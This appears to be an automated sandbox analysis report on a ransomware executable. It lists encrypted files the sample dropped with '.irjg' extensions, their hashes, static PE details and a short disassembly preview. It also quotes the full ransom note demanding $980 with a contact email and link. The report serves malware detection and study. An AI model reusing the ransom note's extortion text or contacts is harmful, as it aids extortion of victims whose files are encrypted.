SSDEEP:	192:r8C6ONLdwI5sKqDEd02GE0ci7yJaGLkAND77i1fp61DX:T6aRw6rMA02WcfyinUfp6V
MD5:	09FD3798ED7F78047C2EDB41EC45599F
SHA1:	7F1A0B77FF19F2CCD1680D3156D88006B8550042
SHA-256:	A2C98B2E22C9AF86CCA81277124EF771C06B04E40086B395E27C1BBE50F1D820
SHA-512:	31A8694AA152323EDDCC04515292E386D0C2EAA0B7814C82906D3C19DF3735AA5FC31673F81E0CAC28C233E6D47E1D26674F89BD171235026BF3FD69DEB13EDA
Malicious:	false
Preview:	regf.......Q...A..D.}.1\|%..nB..u..0#..6..M!.m.bV.8....e.T........+X...~P.&R.[.....j8....%.vDI.>n.i...my......&....x...rKy.....Y.].c#.,..MU<\|#.Qu....'.&..Ie\|.5.E.h.Z.<.j..@.4cE`;...c..wlE.U...AVk.{.....K..._.i.sw...Jn_.On.O....as.z.y.~....D.#.w....8.@h.@.g..:J5.5..(.}B......+6..._.,.~.8B?......Nc.@..s.D......\|....=...lM5..3...[...........=...RwiR.. ..f`T.F,LW.6.l(F...E#..5."2.....]g.<..~I@."g..7g./@....?..7..x6..?;.. : ..&..(..q.0. w./.W.?t.LR.I'.Qp...+.FV.y..X.K....f........<.>..[.y!....7.>i"..#M..,..L2....K#...d...6I..Y\N.41.....!..A1%...L.......y ..7C(.Q..;.-..n..$.[=.....6..DjU..sc.v.x..="u.T.._n:~.c.....2n.M.2.....:c..u....!.1&'{2.LA..Q.....y.7(Fd...._.F.&x1-b...EB4.hy#..H..n.^zD....Rz..t..<.`%..l.ml.s.\T.fm.n0..[.1.k..l.....B..u..#.uQ.. ......ru..?....().....B.h.a...D.1._3a..9..D_.........]............3.E....U.. l..g.....8N.Oq.B.>..]....d?...6m..Q......qbw.B..4?7..7.....]K>cQ/.^m.L.2....._....d.5.X..Ib.k...u....xJ./.N,..........?........

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980308106290065
Encrypted:	false
SSDEEP:	192:1XQyMGrwqwvm5jF8RRci5MT3hGvY5gTrFIGz1P+ytRXGeIDoz6:1VMGrwqegSDcR3h1srdpvXFIr
MD5:	617247BACF07E0E4D9CDC3EEB124BB56
SHA1:	418B487C577EE619A63DA0CCD9FE5CEE310757E2
SHA-256:	87BF5D6AA9690E6BE9064E95127049F7AB2D5E9F7E755FF4BACAAC264B45F1CF
SHA-512:	9274CC986F41D04035B0452A9A9F7476BD3D6C2897F35F434A3F5D0A2E70FE98B27ECF5364A39D283D8869952766163ADF104F20E27647681BF3540F0360F903
Malicious:	false
Preview:	regf.h.m..}N.C..YN)iz.BY..^.yj...T...j.lv.,\....(dR}i..E..4IW...Ur0.].p....g....;..:z9.."..M.#g...4P3<.....B....NU.i..A;........&.6]....b... ..h.R.:..E.....i.7..c.nm`.5..@......c}0...@....Y..b....=....i7..H..NUn.......yO......D..Y.Zl.............9.....no..qJV.3..U.PK.......+/@U.....K..{..pw..D..'..(.......k.#..<...../.F.1-.`2L..9f.46!.bRn....:e..AT!TWG......P..k.\...4qzy..~.V/x.....>...).\..=.n+.YU.A...N...4E..")...F:.@%u..=W...o@....~.....J......Du.6._.."$.;.t....{.....>..u7I^p....\..M.k..Lb.7..M.EmY...5.".T.aC.Q..T.....i..8..?i.....DJW....F.F..M..\|.=P.... .Z....g~$+Q.-{./<..qkd..N.0..1.D.u....~...M.m..Q`.`...I.......+..0ZJ..~...~..k8...w..L..F..kB.uC2.2U.\....O....+%. ....J`....wk.\|..z.l8.../.I..y...~9F.....M7.?.=L.\......E....ioF.....Oi...4~J.......60m[+.1.......'2.........H].y....u...i7.k-..VqE......R.A'5....Bs~%#... 8..J.]... ..D0Hh$._{.N..J2.I`.xS.N......g..#.w...qp.......OU......*.+3k..v+.........[6.J...4...Ct.s>). 5...X..atP5d....

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980405241420915
Encrypted:	false
SSDEEP:	192:J2vRR4UXywQojmkKpyEy+IAaz0uo2bPTHLPQBvw:8HXFjEy+fGTrPQBY
MD5:	ABC5E47E7A6698D5CA633EAC58ED96E9
SHA1:	3D5497090C970C9CD2977F0B3836E079AE97FB5B
SHA-256:	F4EF03FFEF37BA67EC1966BBF21EB63228D93E4CE1295F0DAAD0DE8BAB76168C
SHA-512:	6C27B6BF302417A77BF249C290C12B63B8FB399F5BADFCBD7EA475DB3DC43D7507D841D8B488D878346213822D83E4AC1DF6A225D66B18C3341BDE81E28798E4
Malicious:	false
Preview:	regf.vT.."7.u..\....B.....[......2....].z.rA&'...aNc.....~s.<rTb...CR..<.^...L.bC:.>n..........ud....-B...L.}.r......../I..dA{!S..n.9.M......K.pM...q..O,....&.C.%Tn...+&.G:..t.j.<(.P.[..S...7.MNH..\|.}.e.R....J...X....np......5.1..@V_.....G...4.UN...,xqv!.h.{....w........n6.c...m..W....Da6[3..v.xi..\<...H.MT....^.@.i.4.....!.i....J. ......yh.[...c.7-vW....{..D....Ckn./.#....6...&GX#..w.......?$.ko.....~j2}h..%...OS.....Q.P.E..^...l....._...ZR<Q)....{RC.@..M..v..W....E....1........rJP.Y$..Q..w.y.^.}hh...$Z.v..6..-..M...u.G......F3`.J3..ir8+>=..p;~ub....M......S./.3.~..D_...ABx3.....B...\.......~I.....H..(....p._..%....QQ.U..i.lJP..[Z.....[...$...?(..&f......zr..Lj..CJ.04.\NA4.<.A.j`c.X/.w......]9..%<..l..X.#C.d..g.jsP{..%Vw...N....i.y....<E.f....7........8.{...m...T..d.....n.9.)..Z....:........'.h...`..G..0...Qd.:.2."_kRk.V...Yqdm.3O.5hR;.u$ZG.c.I#Al_..&..Ll1vW.."..6%.@..OU..=.v:.&d..WU..d...UQ.!#)..Q....n`~..8.....7s..R.:Y...r=Hi1.".....

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979223205031368
Encrypted:	false
SSDEEP:	192:1kAF2CXCmTkZt6LiR9zcvH/L+uZ9FrtvqcJQRb/rRT2AVW73qLDKf/5lYk6R+:1NFKmTkP8RvfLXzFV2hzRTPVWWarV6Q
MD5:	E6D3A5F6BD2C0EBE1CFA3A2FE1961440
SHA1:	DC9247BDA2BB6605308A9BB3AF582D8E30327064
SHA-256:	AD8DEFDC306BB4D3022FF636A5E428EE1FC529381B23EE6496F1DD3751C15584
SHA-512:	A3C0399CB1A72AA7C8E6E3E30BE6652E107C8F720E1CBDDD26FFC59A07AE645B81153B962DD0D948C210D9642755906D1FA7E95FBC2C32276D306D2B6A302319
Malicious:	false
Preview:	regf.X.dVY<..~...x.S..fB}A.T.~. .7m(jIC$n..`..z........4.!....gaX.=...a#P[F..<YJ.<.5.qN).g%s..a..0.....nBf.f...z...Z.ew.e....xY.Qv1...{..(.+...?.m......Gs..I.x.W....f....f..YH...?..N......K..;....K..\|9=..Kv..0./L.i_.J..a.N.2....l.R]Zg..\|... ...Q......s:&z.Lg1P.e.%...Uc~.rQj.T.?o5-.Y..W_.;...\.....X%....Gi'.D%eX....er.....U....Fv.c...g...gM{...I...A.p.w8.\|.Xz..._.......,.j...E......K..8%X..5q.S.c.....n..'6eO....U.#.G.bK....jH...%Ov....f......}.6(.\r.`Lt....t...i..S..v...K..1a. .}......"(.,..._....xw.Ed...v-...~B.j8.e.7.uk/....(...KU.u.oO$m.CG.w^...]X.\|).....7..Y.....`.,.v.z.v.L .9. .}..9......>.CZ]........'...M,.5.1,..k..w.(m.z....X.P.r...$..h..`.a..4........B(....}h.....1.j......(l....r./..[[.J.T..W.....F..H...H......7(...rm.r.-W...M...q&.A.....i{.;X0....4.a@P..l..7.NR.YZ....J.gI.t......QY.y".Q&d.N.\...)6....\.^4z?....3.p[.>...&......i..........x.wD..._...2..relK.nH}C{R./`e...2....QHC...........^6.-.+..9..L.........CVZ!....I.....w.{

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9775740512983395
Encrypted:	false
SSDEEP:	192:es4GlbEAZQ9BFod0mQGIWYpWiSRMKoQbFV+5Su:es/PwFokRWiS3w9
MD5:	31251B7D39057CA41609865C45FE6251
SHA1:	B6AAC205EFB2839BA34688470C77E068DE7402E2
SHA-256:	8739A1212C6789F60A978BCB44C062B55A6E796C490CF94D8608B6882FF94DF5
SHA-512:	082D46C224F255BE290FF87356B38DD5089E6EF104139C1C7C383EB5B1139717222F70D79AFBD5016CF57AB25B5057B7AA82D5D3BF21EE23972FF360B0E6C537
Malicious:	false
Preview:	regf..T.wK...:o.TNQ.i..m...M....c.....0:.w...n.'%.K..h.z..Y..-.Yw.R0......b..kc.SB{.1.W.r..Y..Rd...dp...5VQ.M.C..O.K..#......,.YC.FC...n>..uB..\R...%.G.Cu>..E...^....4.......$.o.fzaH.^.d$.bgR....W../.9U..vx.m......l.E..;.=..+N.0s.%.D...-.T.};.q].x....z.8..~h(Pt.A./\...4..Ux.._....q\LM...m...X.P.i.x5t...-.gi.@. ./=.......m`........R.I......r.....q..[.`...M.0.kD.T.Qol....0...^>{....}7.F....1.FJ.r.....n....p..O....l+.......E..Pu.\.P......D.k?......`=.Xg.......?.YQ.....}PNz.a........g4IXD#..]...SJ.j..`..FA.o....P<.{..xl.=.1M.....A}%o#.Y...E.....Q .6...(>C...R..8....1..3..x7......l.....fY#..%..@Y>48..q6.L7(..-...y."..>.m.D..s....A84....G.(H.....6..zN.....P.......2.2...0....s4..l-.w.h}..kO-.Y.I4..U]).@jX..h..Kx.....=...i....q..Rq;...(...4..E..o!.[.<...XZ.H.s,!d...r}....j....3.d..=..l.DR...f....T..L.HR..erz3a.....o.....t...........13..Qb?tt..f..7....9g.C..qG.u... %......A$........F.^...?.P(...M.h.......b..c....T....6u.4....a.g..-...O..,/%=/

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98044138034231
Encrypted:	false
SSDEEP:	192:6U75gRUWWjpYN6qyF66MYQoLdqrhfnJx0ZIMUH2Q/eet:j7iCWWj0pwTLdqKID2Qt
MD5:	76580997B8D509E9550A12695DDE1632
SHA1:	07057C80EA61E5EB45D164633F6E56CB74B81D48
SHA-256:	78F65B58795207AF86A0F75A2CB278D6DBD652C63A9D50036994151E26879606
SHA-512:	856986B5A180E3A123D69A9C542398066957D2284305DB4502E878E5D4A484727C64E6BE492C32F8B848F003239C29EFD923D381F906D59A69DF72BBE9CF7B13
Malicious:	false
Preview:	regf.9...(...r.Y..lE...3.H#.../n...h...p.~A=....Oh..a.h...zBxhP=...`.q.n& ...gkt....;.Y..r..Hy.d.....b.r...7...I.....XV.u>A8,7..}:...0....d.2..7G..K..0@..[.u.......B.d.V.KNy.H.....O..........P.H.........'......M..i../g.h.p.`.e.\.Y.y^Y......3...o..0U...+......Q.e.gx..u@o...i.....6R.5L.p....\|.k..)...\C..Tz\..B..$%S@.,j].dLq9.W.....n..s.E.'lX.@~d1i....NfFy..n...Z..A:..f..Ys...U..U85Y...s..E..x.F.L=..b..r.."2'.TZxGd.q./..X.s....N.0.M......$..i......A..j.........C.8P..q..AR..KqN....G.E<]..(.....WG.w....nD.@.....bM.{.{...k`...:....n..d.0Q.~...zv..W.Vq\|.M,..t\R..I.v..L......1B.])..?....TY.a;..d.}x..Ax_..]..pR..\B.....~..8F_..-...A....#f.+)....I(.UXl.....v..x.....L..d./B.7..+.V.=........s{"t......</....Z%...]"...X.....g.O.V.e.R.....C.}y.K.~UB.TY.f'{H......A..!M..F.r.Nb.sn.VS. ...t.\|...j...#4H.).{..3;4in..r.hByU...J...X...../).8.I..]-.}........+..\|.\....m.~$..w..I.+d.,=g.d0].N\F......aa.A..u.."..W.....I@............W^aZ4...P..!.2.r3....o.8b#..;.\|

C:\Users\user\Local Settings\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979277134064173
Encrypted:	false
SSDEEP:	192:YLprjZkKf06SCnNV0iaZN08SfKK4bZBuzbW:YLd6s06SCnEDZN0xfEbDO6
MD5:	B16C465FF8AA31C16343C59686901C44
SHA1:	2A8A99F6466B0B9489B6BE8C8251166C2D0994A6
SHA-256:	7B6DA12AB966CC82A1CAE863DCFFF76BB0481AFF147D1BF91D5B6E87C270D00B
SHA-512:	E1CDC9F7B11070D31386A719B8329FADA00D6AFA5F9A86A98B792E25EFFE41414CE1B2626BCAADF80AC115026A914480B82210A0148E6B4C9B64CBDBA1A84574
Malicious:	false
Preview:	regf.yW..;..4JzOj3N)..\|..%........t....?.....^.....i.......X.^........X5....\|R........J.B,..H...e.2I..<W.N'.N..\|.d.......d.^G...@....wyf..:P....,,w\!..x4......n.6..h:..:.81..z...?@'.[.d.Ji....9...WG...5+s6.H...x.f..2..d....~.......9(f.d.N...37.r5.....N....!_.I.n.%.....~..hT.wMH4....Ss.\.t..\|..G.o.%@?!.ZiO.W,Y.1.....^.w.8..tV.8...a./$X&.Rw=.............^.......5`.....n.....M......rB.<..P.J.,A..{7b>o...`.1.....v%3.J..`@.$.L....n%/ha.<..;0...G\.CW..H..:L.H.{...\|Cl.\.....D...H.....a...A.X3.....6......MLO..............Z...;;.Q$">..".. A....0.`.z.........a.H...u.Sucm.zUdT.8._.I}"......r./]Q+$.s...G.6.(.]%zB.j...K.\|...m.HK...e...-^8[....K..........V#.g..l.{5...m.b.N..h..p.h.N.n`x..."*.?...;..p.j...(...)..S...h.jf$>.K.).1.....^V.......VU..(y...'a.L[h.Q.k\.!.t../..}.`F~'2.C_Kcr..I49s.N9.......m.V.5.f.7.......qs.Z..gQ^.g.....?...\|8.o-.......$.&.3a&k...c.^.....;.....k..H.D.v...hW"Q6...VJ.O..`.Q.'.J....odPOb.I.{w!q\|..3$.........]}.w

C:\Users\user\Local Settings\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978003577687481
Encrypted:	false
SSDEEP:	192:lUuy9rB+6nm0Lum7Ux9qc8UVubI3CM1jxpzjNp3m74RDMZA+GFbQyuDF2/jc:ls9rq0Lx7U3f8KLCM9PNtm74RAZA+Shi
MD5:	B5729C684A3BB174AA392646C2A37883
SHA1:	40C43185293A66B406EE1FC70B35B7984B7FF250
SHA-256:	AB4481F5E8CDC325FCC770EC9400E584753E9C5BC89454C7E68EBEAE8C472AB4
SHA-512:	A5F5D3B7CCB008637E7B4870CA95C9C99C028FC2ED610B61B7DD15441362F838EC7CB406F4FB7B3E07235FFD41DDBD00F25F5BC0EAC44FCDF430BB72B27EB32C
Malicious:	false
Preview:	regf.&:..~v..1p@@....2<...v>Yp......NQ...s/.>.:......8.....Bwk9;LK.2......k .:;.E...6..I....N..02x.......ie.....{D..f....t..k.=T.3.W...w.G....\|1r%....:u....].&}X....]..F{,$.J...\...J/3g..G^K@.........T.IG..g8PN.-s[....b..yf....Ox.!.pl....xI..PQ.8;.,?Z.......D.%7......{.uV...?[..:..z....u..5.Q..?.$..1.euP=..p.2.._.6".......ohIz>..J...n..eRiX..Gy...F.Fx=.c7G.[..0.OPo..>..IJvcZ.{.......~)!....-c.z.<... ....]O..H.{.N....3\|sP..d0.>V.....)..R.7......?..qd./..Z.....X.%.a.........d....dQ9......C..~.d..Y.On6...[w.y.v...R!....z3.!7+...D.R...l...E.!.'.8.<..c....le.....8....8.C7:.Z.#@.;......=..R.{T4 .V..G.zO#..}.R.M9Uz..\|.........wY.s0._..c..*.3.J..W...J...X...4M....o"..8.......;.../u.]eC.m. Lz....5~.\.-..9.;x.O..-.....(......s.0\|.Q..E.......g3S...S.....M.,..sQ&.....:...^.Ce..S..[..Erk.e5...w......Q../Hx..u. qg....+.a6.k...m.M...G.......G.....J.^1N#.w....H!..~.O..?`...n.....Q..y.W....D..Z..b[8w...PY8(uF.xp.W....m.oSQm..h..T]..,....T.c.^t........

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976674679327766
Encrypted:	false
SSDEEP:	192:tym6w8j51f8Bn+n6eK3/QSu9+qvglbtP20E4IM3BPl:UTw8jPjUvm9+qvk5Po4IM3ll
MD5:	37024652092B462513C62D220F71552A
SHA1:	D8747F024CC497D6CD8085B30B9EC8A6C40FCFA8
SHA-256:	E4F940750ECFBE78FF869B389144A93E63A939EE151C22B1A2139FBBC8DA45BA
SHA-512:	5040A5F895D417B874E9F392DE8AC0A5C4B451286E454F2A1BE196E9BCD66C9336E95C422A775092FD4D34F993EC4D181DBF6C75966F32F831B1759D0EBEA526
Malicious:	false
Preview:	regf......9.:Hwj.o.<K.-Xs..v.....AG.{\z..{Vx.n........w.xPa.i.~(..r..L.....L..e..3.......G)0K..ZI..)...Rr....../...f]/.N1.4........n .{.8..0..,F..A.&%.A.OC..g'E......<.'..\|#..K...u..p/!W......q.].....{.3\|.Y..3U.\|.4..M...x.4.....#.3....L[..qs#.5...S.6.e.0.A.....3.o.....w.a....E.Y...'.'K.G.!E..f......}\..,..S1l../U.v.j...t..,.i.Hdom....FY.=2.UD.7.......O...rIz.\I"..T.....'.\|.^..S...".X F+8..]....;401....(...][.C......m..^~i..X.qc."sx..1UcyPZ.:....].}9.4..L.M.N....<.$..k3Y}...@.LR....6.d.[..a.`>".l.@M.RO..f..c..l.7r..T.....C...4.c;.Yk@^..m..m..?.\|.......X...dS........GX77.R.!`.Q....y...=)D..i..!...).pIX.=.z/..S..F .....&.?0....i..5.<Z..G.9..../.........T.........\..d..'.. .....Z.......BOk..I..u6._.\|...._.n...%.....z...TUa..Z.0.....]..r.Z.FY.h..k..2q.)F\.<&.. .n.C.h.....3....b..\.3:;H2.48C}\|T.k~.H.8.5.(;......%.j...].d/.[?...<.<.<H,3..c=..-..h.......G....%.....b.JH...M...ma.&/c.V.mI.H..nWt.#=`........ C=..M"l..).{.l.]....>+'......K......

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1110
Entropy (8bit):	4.880222763188304
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWFy4mFRqrl3W4kA+GT/kF5M2/k/rAXTJif9V:WZHfv0p6WM4PFWrDGT0f/k/4o1V
MD5:	7AA64F15196A987517E81AF50AB7C13C
SHA1:	25EB0A02AC0E45F9B728E9033D6933A4A78B3963
SHA-256:	3D4E9D21ABCF84FC8F1F02B3F47BDF671772C28C3E9956CE15748CBA5ADE6F70
SHA-512:	A2E4089D8C9CE5FD9898A3B5A9DF912A4194DC1AF605BA2ACB2619B3B101AC8979572ED1169A6A47C8E26B6124699FFE9EDFB5BB6F95D5E6251C33395580BEE9
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-xl2bbDnZSN..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..manager@mailtemp.ch....Reserve e-mail address to

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.741586757076303
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	16oApcahEa.exe
File size:	829'952 bytes
MD5:	42fe928b06e704ec51f6d9e679a4b2e4
SHA1:	f0fb600a2b9428b2dd33fd8a7d781f4f59423241
SHA256:	3f1596b4ebd177ec46e57ea0e6d208f32c1ebb93b448a4b5318cc116293d1e71
SHA512:	4ad727be5cc71cbcc33eaf0015e51370575137e74d460b65a2c5fa6abe7e153ce981ff3adb2937e1711d2b9a462db2b1e3cd353e971881bd5fded340f5e5075e
SSDEEP:	12288:x/4LAaAmpqSAQjWW6OCEVRxpHsSCfCP31pQlGYtQAN3WdYB89XoU2VwwZGEX8cAF:BpaYW5fRxpHs743vQ0xAnB8992VVsEv
TLSH:	72050133B1B0CA37DA6509318839D6B06529B85DDA30F56773F5AF2F2D712884AE131D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L......`...................

File Icon


Icon Hash:	7d6d2b2b6b5f491b

Static PE Info

General

Entrypoint:	0x4020c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6009CCAF [Thu Jan 21 18:49:19 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	f937f2af706dbcbf43ed87b459c473ae

Entrypoint Preview

Instruction
call 00007FF0F0E1AD1Fh
jmp 00007FF0F0E161AEh
int3
int3
int3
int3
int3
call 00007FF0F0E1635Ch
xchg cl, ch
jmp 00007FF0F0E16344h
call 00007FF0F0E16353h
fxch st(0), st(1)
jmp 00007FF0F0E1633Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007FF0F0E16331h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007FF0F0E16326h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007FF0F0E16324h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007FF0F0E16327h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007FF0F0E1AEEFh
fstp st(0)
fld tbyte ptr [004A115Ah]
ret
fstp st(0)
or cl, cl
je 00007FF0F0E1632Dh
fstp st(0)
fldpi
or ch, ch
je 00007FF0F0E16324h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007FF0F0E16319h
fchs
ret
fstp st(0)
jmp 00007FF0F0E1AEC5h
fstp st(0)
mov cl, ch
jmp 00007FF0F0E16322h
call 00007FF0F0E162EEh
jmp 00007FF0F0E1AED0h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, FFFFFD30h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa3ba4	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2b6f000	0x250e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa01d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa24c8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa0000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9e410	0x9e600	2049859b98bd5dba5e813cb03c5cba28	False	0.9681303028808208	data	7.978469956871212	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xa0000	0x4468	0x4600	cbb2dd6c50d797177712f0300e372556	False	0.2806919642857143	DIY-Thermocam raw data (Lepton 2.x), scale 11888-25698, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 158456325028528675187087900672.000000	4.089136850916832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa5000	0x2ac72e0	0x2200	9dc41d72105d8515fe36dd0a9cbb5140	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rihuj	0x2b6d000	0x270	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.bek	0x2b6e000	0x17	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2b6f000	0x250e0	0x25200	d9dc759c55a97ac99f2b30d067f5a04c	False	0.6566314183501684	data	6.351954239060794	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x2b91f20	0x2	data			5.0
AFX_DIALOG_LAYOUT	0x2b91f10	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x2b91f00	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x2b91f28	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x2b91f38	0x2	data			5.0
RT_CURSOR	0x2b91f40	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.5
RT_CURSOR	0x2b92088	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30810234541577824
RT_CURSOR	0x2b92f30	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.48014440433212996
RT_ICON	0x2b6fc20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.627132196162047
RT_ICON	0x2b70ac8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.6823104693140795
RT_ICON	0x2b71370	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0			0.7286866359447005
RT_ICON	0x2b71a38	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.7897398843930635
RT_ICON	0x2b71fa0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.6950207468879668
RT_ICON	0x2b74548	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.7185741088180112
RT_ICON	0x2b755f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0			0.7262295081967213
RT_ICON	0x2b75f78	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.7792553191489362
RT_ICON	0x2b76458	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.4144456289978678
RT_ICON	0x2b77300	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.5685920577617328
RT_ICON	0x2b77ba8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.7412863070539419
RT_ICON	0x2b7a150	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.7542213883677298
RT_ICON	0x2b7b1f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.8067375886524822
RT_ICON	0x2b7b6b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0			0.6768433179723502
